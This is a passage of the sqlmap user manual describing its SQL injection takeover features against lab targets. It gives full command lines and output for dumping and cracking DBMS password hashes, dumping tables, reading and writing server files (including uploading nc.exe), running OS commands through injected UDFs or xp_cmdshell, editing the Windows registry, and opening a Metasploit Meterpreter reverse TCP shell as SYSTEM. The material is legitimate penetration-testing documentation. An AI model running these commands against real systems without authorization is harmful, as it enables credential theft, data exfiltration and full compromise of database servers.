When the session user has read access to the system table containing information about the DBMS users' passwords, it is possible to enumerate the password hashes for each database management system user. sqlmap will first enumerate the users, then the different password hashes for each of them.
Example against a PostgreSQL target:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
Not only sqlmap enumerated the DBMS users and their passwords, but it also
recognized the hash format to be PostgreSQL, asked the user whether or not
to test the hashes against a dictionary file and identified the clear-text
password for the postgres user, which is usually a DBA along the
other user, testuser, password.
This feature has been implemented for all DBMS where it is possible to enumerate users' password hashes, including Oracle and Microsoft SQL Server pre and post 2005.
You can also provide the -U option to specify the specific user
who you want to enumerate and eventually crack the password hash(es).
If you provide CU as username it will consider it as an alias for
current user and will retrieve the password hash(es) for this user.
Switches: --privileges and -U
When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the privileges for each database management system user. By the privileges, sqlmap will also show you which are database administrators.
You can also provide the -U option to specify the user who you
want to enumerate the privileges.
If you provide CU as username it will consider it as an alias for
current user and will enumerate the privileges for this user.
On Microsoft SQL Server, this feature will display you whether or not each user is a database administrator rather than the list of privileges for all users.
Switches: --roles and -U
When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the roles for each database management system user.
You can also provide the -U option to specify the user who you
want to enumerate the privileges.
If you provide CU as username it will consider it as an alias for
current user and will enumerate the privileges for this user.
This feature is only available when the DBMS is Oracle.
Switch: --dbs
When the session user has read access to the system table containing information about available databases, it is possible to enumerate the list of databases.
Switches: --tables, -D and
--exclude-sysdbs
When the session user has read access to the system table containing information about databases' tables, it is possible to enumerate the list of tables for a specific database management system's databases.
If you do not provide a specific database with switch -D, sqlmap
will enumerate the tables for all DBMS databases.
You can also provide the --exclude-sysdbs switch to
exclude all system databases.
Note that on Oracle you have to provide the TABLESPACE_NAME
instead of the database name.
Switches: --columns, -C, -T and -D
When the session user has read access to the system table containing information about database's tables, it is possible to enumerate the list of columns for a specific database table. sqlmap also enumerates the data-type for each column.
This feature depends on the option -T to specify the table name
and optionally on -D to specify the database name. When the
database name is not specified, the current database name is used.
You can also provide the -C option to specify the table columns
name like the one you provided to be enumerated.
Example against a SQLite target:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns \
-D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+
Note that on PostgreSQL you have to provide public or the
name of a system database. That's because it is not possible to enumerate
other databases tables, only the tables under the schema that the web
application's user is connected to, which is always aliased by
public.
Switches: --dump, -C, -T, -D,
--start, --stop, --first
and --last
When the session user has read access to a specific database's table it is possible to dump the table entries.
This functionality depends on switch -T to specify the table
name and optionally on switch -D to specify the database name.
If the table name is provided, but the database name is not, the current
database name is used.
Example against a Firebird target:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+
This switch can also be used to dump all tables' entries of a provided
database. You simply have to provide sqlmap with the --dump
switch along with only the -D switch, no -T and no
-C.
You can also provide a comma-separated list of the specific columns to
dump with the -C switch.
sqlmap also generates for each table dumped the entries in a CSV format textual file. You can see the absolute path where sqlmap creates the file by providing a verbosity level greater than or equal to 1.
If you want to dump only a range of entries, then you can provide switches
--start and/or --stop to respectively
start to dump from a certain entry and stop the dump at a certain entry.
For instance, if you want to dump only the first entry, provide
--stop 1 in your command line. Vice versa if, for
instance, you want to dump only the second and third entry, provide
--start 1 --stop 3.
It is also possible to specify which single character or range of characters
to dump with switches --first and --last.
For instance, if you want to dump columns' entries from the third to the
fifth character, provide --first 3 --last
5.
This feature only applies to the blind SQL injection techniques because for
error-based and UNION query SQL injection techniques the number of requests
is exactly the same, regardless of the length of the column's entry output
to dump.
As you may have noticed by now, sqlmap is flexible: you can leave it to automatically dump the whole database table or you can be very precise in which characters to dump, from which columns and which range of entries.
Switches: --dump-all and --exclude-sysdbs
It is possible to dump all databases tables entries at once that the session user has read access on.
You can also provide the --exclude-sysdbs switch to
exclude all system databases. In that case sqlmap will only dump entries
of users' databases tables.
Note that on Microsoft SQL Server the master database is not
considered a system database because some database administrators use it
as a users' database.
Switches: --search, -C, -T, -D
This switch allows you to search for specific database names, specific tables across all databases or specific columns across all databases' tables.
This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass.
The switch --search needs to be used in conjunction with
one of the following support switches:
-C following a list of comma-separated column names to look
for across the whole database management system.-T following a list of comma-separated table names to look
for across the whole database management system.-D following a list of comma-separated database names to
look for across the database management system.Switches: --sql-query and --sql-shell
The SQL query and the SQL shell features allow to run arbitrary SQL statements on the database management system. sqlmap automatically dissects the provided statement, determines which technique is appropriate to use to inject it and how to pack the SQL payload accordingly.
If the query is a SELECT statement, sqlmap will retrieve its
output.
Otherwise it will execute the query through the stacked query SQL
injection technique if the web application supports multiple statements on
the back-end database management system.
Beware that some web application technologies do not support stacked
queries on specific database management systems. For instance, PHP does
not support stacked queries when the back-end DBMS is MySQL, but it does
support when the back-end DBMS is PostgreSQL.
Examples against a Microsoft SQL Server 2000 target:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
"SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
"SELECT 'foo', 'bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'
As you can see, sqlmap splits the provided query into two different
SELECT statements then retrieves the output for each separate
query.
If the provided query is a SELECT statement and contains a
FROM clause, sqlmap will ask you if such statement can return
multiple entries. In that case the tool knows how to unpack the query
correctly to count the number of possible entries and retrieve its output,
entry per entry.
The SQL shell option allows you to run your own SQL statement interactively, like a SQL console connected to the database management system. This feature provides TAB completion and history support too.
These options can be used to run brute force checks.
Switches: --common-tables
There are cases where --tables switch can not be used to
retrieve the databases' table names. These cases usually fit into one
of the following categories:
information_schema is not available.MSysObjects is not readable - default setting.If any of the first two cases apply and you provided the
--tables switch, sqlmap will prompt you with a question
to fall back to this technique.
Either of these cases apply to your situation, sqlmap can possibly still
identify some existing tables if you provide it with the
--common-tables switch. sqlmap will perform a
brute-force attack in order to detect the existence of common tables
across the DBMS.
The list of common table names is txt/common-tables.txt and you
can edit it as you wish.
Example against a MySQL 4.1 target:
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" \
--common-tables -D testdb --banner
[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner: '4.1.21-community-nt'
[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users
Database: testdb
[1 table]
+-------+
| users |
+-------+
Switches: --common-columns
As per tables, there are cases where --columns switch
can not be used to retrieve the databases' tables' column names. These
cases usually fit into one of the following categories:
information_schema is not available.If any of the first two cases apply and you provided the
--columns switch, sqlmap will prompt you with a question
to fall back to this technique.
Either of these cases apply to your situation, sqlmap can possibly still
identify some existing tables if you provide it with the
--common-columns switch. sqlmap will perform a
brute-force attack in order to detect the existence of common columns
across the DBMS.
The list of common table names is txt/common-columns.txt and you
can edit it as you wish.
These options can be used to create custom user-defined functions.
Switches: --udf-inject and --shared-lib
You can inject your own user-defined functions (UDFs) by compiling a MySQL or PostgreSQL shared library, DLL for Windows and shared object for Linux/Unix, then provide sqlmap with the path where the shared library is stored locally on your machine. sqlmap will then ask you some questions, upload the shared library on the database server file system, create the user-defined function(s) from it and, depending on your options, execute them. When you are finished using the injected UDFs, sqlmap can also remove them from the database for you.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control.
Use switch --udf-inject and follow the instructions.
If you want, you can specify the shared library local file system path
via command line too by using --shared-lib option. Vice
versa sqlmap will ask you for the path at runtime.
This feature is available only when the database management system is MySQL or PostgreSQL.
Switch: --file-read
It is possible to retrieve the content of files from the underlying file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control.
Example against a Microsoft SQL Server 2005 target to retrieve a binary file:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--file-read "C:/example.exe" -v 1
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit
Switches: --file-write and --file-dest
It is possible to upload a local file to the database server's file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control.
Example against a MySQL target to upload a binary UPX-compressed file:
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file '/software/nc.exe.packed'
Switches: --os-cmd and --os-shell
It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality
explained above) a shared library (binary file) containing two
user-defined functions, sys_exec() and sys_eval(), then
it creates these two functions on the database and calls one of them to
execute the specified command, depending on user's choice to display the
standard output or not.
On Microsoft SQL Server, sqlmap abuses the xp_cmdshell stored
procedure: if it is disabled (by default on Microsoft SQL Server >= 2005),
sqlmap re-enables it; if it does not exist, sqlmap creates it from
scratch.
When the user requests the standard output, sqlmap uses one of the enumeration SQL injection techniques (blind, inband or error-based) to retrieve it. Vice versa, if the standard output is not required, stacked query SQL injection technique is used to execute the command.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control.
Example against a PostgreSQL target:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
--os-cmd id -v 1
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually
It is also possible to simulate a real shell where you can type as many
arbitrary commands as you wish. The option is --os-shell
and has the same TAB completion and history functionalities that
--sql-shell has.
Where stacked queries has not been identified on the web application
(e.g. PHP or ASP with back-end database management system being MySQL) and
the DBMS is MySQL, it is still possible to abuse the SELECT
clause's INTO OUTFILE to create a web backdoor in a writable
folder within the web server document root and still get command
execution assuming the back-end DBMS and the web server are hosted on the
same server.
sqlmap supports this technique and allows the user to provide a
comma-separated list of possible document root sub-folders where try to
upload the web file stager and the subsequent web backdoor. Also, sqlmap
has its own tested web file stagers and backdoors for the following
languages:
Switches: --os-pwn, --os-smbrelay,
--os-bof, --priv-esc,
--msf-path and --tmp-path
It is possible to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.
sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:
sys_bineval(). Supported on
MySQL and PostgreSQL - switch --os-pwn.sys_exec() on
MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL
Server - switch --os-pwn.smb_relay server
exploit listens. Supported when running sqlmap with high privileges
(uid=0) on Linux/Unix and the target DBMS runs as Administrator
on Windows - switch --os-smbrelay.sp_replwritetovarbin stored procedure heap-based buffer
overflow (
MS09-004). sqlmap has its own exploit to trigger the
vulnerability with automatic DEP memory protection bypass, but it relies
on Metasploit to generate the shellcode to get executed upon successful
exploitation - switch --os-bof.These techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.
Example against a MySQL target:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn \
--msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework 3 multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework 3 command line interface locally, please wait..
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval',
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask : 255.255.255.0
meterpreter > exit
[*] Meterpreter session 1 closed. Reason: User exit
By default MySQL on Windows runs as SYSTEM, however PostgreSQL
runs as a low-privileged user postgres on both Windows and Linux.
Microsoft SQL Server 2000 by default runs as SYSTEM, whereas
Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK
SERVICE and sometimes as LOCAL SERVICE.
It is possible to provide sqlmap with the --priv-esc
switch to perform a database process' user privilege escalation
via Metasploit's getsystem command which include, among others,
the
kitrap0d technique (
MS10-015).
It is possible to access Windows registry when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and when the web application supports stacked queries. Also, session user has to have the needed privileges to access it.
Switch: --reg-read
Using this option you can read registry key values.
Switch: --reg-add
Using this option you can write registry key values.
Switch: --reg-del
Using this option you can delete registry keys.
Switches: --reg-key, --reg-value,
--reg-data and --reg-type
These switches can be used to provide data needed for proper running of
options --reg-read, --reg-add and
--reg-del. So, instead of providing registry key
information when asked, you can use them at command prompt as program
arguments.
With --reg-key option you specify used Windows registry
key path, with --reg-value value item name inside
provided key, with --reg-data value data, while with
--reg-type option you specify type of the value item.
A sample command line for adding a registry key hive follows:
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \
--reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
Switch: -t
This switch requires an argument that specified the textual file to write all HTTP(s) traffic generated by sqlmap - HTTP(s) requests and HTTP(s) responses.
This is useful primarily for debug purposes.
Switch: -s
By default sqlmap logs all queries and their output into a textual file called session file, regardless of the technique used to extract the data. This is useful if you stop the injection for any reason and rerun it afterwards: sqlmap will parse the session file and resume enumerated data from it, then carry on extracting data from the exact point where it left before you stopped the tool.
The default session file is output/TARGET_URL/session, but you
can specify a different file path with -s switch.
The session file has the following structure:
[hh:mm:ss MM/DD/YY]
[Target URL][Injection point][Parameters][Query or information name][Query output or value]
A more user friendly textual file where all data retrieved is saved, is
the log file, output/TARGET_URL/log. This file can be
useful to see all information enumerated to the end.
Switch: --flush-session
As you are already familiar with the concept of a session file from the
description above, it is good to know that you can flush the content of
that file using option --flush-session.
This way you can avoid the caching mechanisms implemented by default in
sqlmap. Other possible way is to manually remove the session file(s).
Switch: --fresh-queries
As you are already familiar with the concept of a session file from the
description above, it is good to know that you can ignore the content of
that file using option --fresh-queries.
This way you can keep the session file untouched and for a selected run,
avoid the resuming/restoring of queries output.
Switch: --eta
It is possible to calculate and show in real time the estimated time of arrival to retrieve each query output. This is shown when the technique used to retrieve the output is any of the blind SQL injection types.
Example against an Oracle target affected only by boolean-based blind SQL injection:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========> ] 11/64 ETA 00:19
Then:
100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
As you can see, sqlmap first calculates the length of the query output, then estimates the time of arrival, shows the progress in percentage and counts the number of retrieved output characters.
Switch: --update
Using this option you can update the tool to the latest development version directly from the subversion repository. You obviously need Internet access.
If, for any reason, this operation fails, run svn update from
your sqlmap working copy. It will perform the exact same operation of
switch --update.
If you are running sqlmap on Windows, you can use the TartoiseSVN client
by right-clicking in Windows Explorer into your sqlmap working copy and
clicking on Update.
This is strongly recommended before reporting any bug to the mailing lists.
Switch: --save
It is possible to save the command line options to a configuration INI
file.
The generated file can then be edited and passed to sqlmap with the
-c option as explained above.
Switch: --batch
If you want sqlmap to run as a batch tool, without any user's interaction
when sqlmap requires it, you can force that by using
--batch switch. This will leave sqlmap to go with a
default behaviour whenever user's input would be required.
Switch: --beep
When this switch is provided, sqlmap will beep at every new SQL injection that it finds. It can be useful when you are processing in batch mode a Google dork output or a proxy log file so that you do not need to monitor the terminal constantly.
Switch: --check-payload
Curious to see if a decent intrusion detection system (IDS) picks up sqlmap payloads? Use this switch!
Switch: --cleanup
It is recommended to clean up the back-end database management system from
sqlmap temporary table(s) and created user-defined function(s) when you
are done taking over the underlying operating system or file system.
Switch --cleanup will attempt to clean up the DBMS and
the file system wherever possible.
Switch: --forms
Say that you want to test against SQL injections a huge search form
or you want to test a login bypass (typically only two input fields named
like username and password), you can either pass to sqlmap
the request in a request file (-r), set the POSTed data
accordingly (--data) or let sqlmap do it for you!
Both of the above mentioned instances, and many others, appear as
<form> and <input> tags in HTML response
bodies and this is where this switch comes into play.
Provide sqlmap with --forms as well as the page where
the form can be found as the target url (-u) and sqlmap will
request the target url for you, parse the forms it has and guide you
through to test for SQL injection on those form input fields (parameters)
rather than the target url provided.
Switch: --gpage
Default sqlmap behavior with option -g is to do a Google
search and use the first 100 resulting URLs for further SQL injection
testing. However, in combination with this option you can specify with
this switch, --gpage, some page other than the first one
to retrieve target URLs from.
Switch: --page-rank
Performs further requests to Google when -g is provided and
display page rank (PR) for Google dork results.
Switch: --parse-errors
If the web application is configured in debug mode so that it displays in the HTTP responses the back-end database management system error messages, sqlmap can parse and display them for you.
This is useful for debugging purposes like understanding why a certain
enumeration or takeover switch does not work - it might be a matter of
session user's privileges and in this case you would see a DBMS error
message along the lines of Access denied for user <SESSION
USER>.
Switch: --replicate
If you want to store in a local SQLite 3 database file each dumped table
(--dump or --dump-all), you can
provide sqlmap with the --replicate switch at dump
phase. This will create a <TABLE_NAME>.sqlite3 rather than
a <DB_NAME>/<TABLE_NAME>.csv file into
output/TARGET_URL/dump/ directory.
You can then use sqlmap itself to read and query the locally created
SQLite 3 file. For instance, python sqlmap.py -d
sqlite:///software/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 --table.
Switch: --wizard
Do you really want to know?
sqlmap is released under the terms of the General Public License v2. sqlmap is copyrighted by its developers.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
Whatever you do with this tool is uniquely your responsibility. If you are not authorized to punch holes in the network you are attacking be aware that such action might get you in trouble with a lot of law enforcement agencies.
Bernardo Damele A. G. (inquis) - Lead developer. PGP Key ID: 0x05F5A30F
Miroslav Stampar (stamparm) - Developer. PGP Key ID: 0xB5397B1B